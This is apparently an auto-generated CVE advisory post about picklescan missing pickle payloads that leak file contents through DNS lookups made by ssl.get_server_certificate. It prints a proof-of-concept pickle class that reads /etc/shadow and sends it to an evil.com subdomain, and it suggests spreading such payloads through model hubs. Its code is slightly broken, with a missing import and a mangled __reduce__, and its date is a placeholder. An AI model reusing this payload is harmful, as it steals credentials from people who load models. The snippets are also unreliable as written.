Listen to this Post
How the CVE Works
Picklescan fails to detect malicious pickle payloads that abuse `ssl.get_server_certificate()` for DNS exfiltration. Attackers craft a pickle-serialized object that:
1. Uses `linecache` (unflagged) to read sensitive files (e.g., /etc/passwd).
2. Encodes stolen data into DNS-safe subdomains (e.g., root:x:0:0_.attacker.com).
3. Triggers DNS resolution via ssl.get_server_certificate(), leaking data to attacker-controlled servers.
4. Evades detection by avoiding blacklisted modules (e.g., os, subprocess).
The payload executes during deserialization (np.load(allow_pickle=True)), bypassing static analysis and runtime checks due to `ssl` being a trusted library.
DailyCVE Form:
Platform: Python (NumPy/pickle)
Version: Affects picklescan < v0.3.0
Vulnerability: DNS exfiltration via pickle
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation:
1. Payload Crafting:
import pickle, linecache
class Exploit:
def <strong>reduce</strong>(self):
data = linecache.getline("/etc/shadow", 1)
return (ssl.get_server_certificate, (f"{data}.evil.com", 443))
payload = pickle.dumps(Exploit())
2. Delivery:
- Embed in NumPy arrays (
np.save("malicious.npy", payload)). - Distribute via ML model hubs (e.g., PyTorch Hub).
Detection:
1. Static Analysis:
grep -r "ssl.get_server_certificate" --include=".py" .
2. Runtime Monitoring:
import picklescan
scanner = picklescan.Scanner()
scanner.scan_file("malicious.pkl") May fail to detect!
Mitigation:
1. Disable Pickle:
np.load("model.npy", allow_pickle=False) Force safe mode
2. Network Controls:
iptables -A OUTPUT -p udp --dport 53 -j DROP Block DNS exfiltration
3. Patch:
pip install picklescan>=0.3.0 --upgrade
4. Sandboxing:
from RestrictedPython import compile_restricted
compile_restricted("import ssl") Raises exception
References:
References:
Reported By: https://github.com/advisories/GHSA-93mv-x874-956g
Extra Source Hub:
Undercode
